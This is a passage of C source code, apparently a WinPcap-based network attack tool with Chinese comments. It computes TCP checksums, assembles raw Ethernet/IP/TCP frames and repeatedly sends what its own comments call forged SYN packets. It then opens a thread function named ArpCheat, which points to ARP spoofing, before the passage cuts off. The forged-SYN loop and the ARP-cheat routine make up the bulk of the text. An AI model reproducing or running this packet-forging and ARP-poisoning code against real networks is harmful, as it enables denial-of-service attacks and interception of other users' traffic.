psd_header.m_mbz=0;

psd_header.m_ptcl=IPPROTO_TCP;

psd_header.m_tcpl=htons(sizeof(TCP_HEADER)+sizeof(TCP_OPTION));

char tcpBuf[128]={0};

memcpy(tcpBuf,&psd_header,sizeof(PSD_HEADER));

memcpy(tcpBuf+sizeof(PSD_HEADER),&tcp_header,sizeof(TCP_HEADER));

memcpy(tcpBuf+sizeof(PSD_HEADER)+sizeof(TCP_HEADER),&tcp_option,sizeof(TCP_OPTION));

tcp_header.m_cksum=CheckSum((USHORT *)tcpBuf,sizeof(PSD_HEADER)+sizeof(TCP_HEADER)+sizeof(TCP_OPTION));

//构造SYN数据帧：

memcpy(sendSynBuf,&et_header,sizeof(ET_HEADER));

memcpy(sendSynBuf+sizeof(ET_HEADER),&ip_header,sizeof(IP_HEADER));

memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER),&tcp_header,sizeof(TCP_HEADER));

memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER)+sizeof(TCP_HEADER),&tcp_option,sizeof(TCP_OPTION));

//发送伪造的SYN包：

LPPACKET lpPacket;

lpPacket=PacketAllocatePacket(); //给PACKET结构指针分配内存

PacketInitPacket(lpPacket,sendSynBuf,128); //初始化PACKET结构指针
if(PacketSetNumWrites(lpAdapter,1)==FALSE) //设置发送次数

{

printf("Warning: Unable to send more than one packet in a single write!\n");

continue;

}

if(PacketSendPacket(lpAdapter,lpPacket,TRUE)==FALSE)

{

printf("Error sending the packets!\n");

continue;

}

PacketFreePacket(lpPacket); //释放PACKET结构指针

Sleep(100);

}

return 0;

}

DWORD WINAPI ArpCheat(void *pInfo)

{

CHEAT_ARP_INFO info={0};

memcpy(&info,pInfo,sizeof(CHEAT_ARP_INFO));

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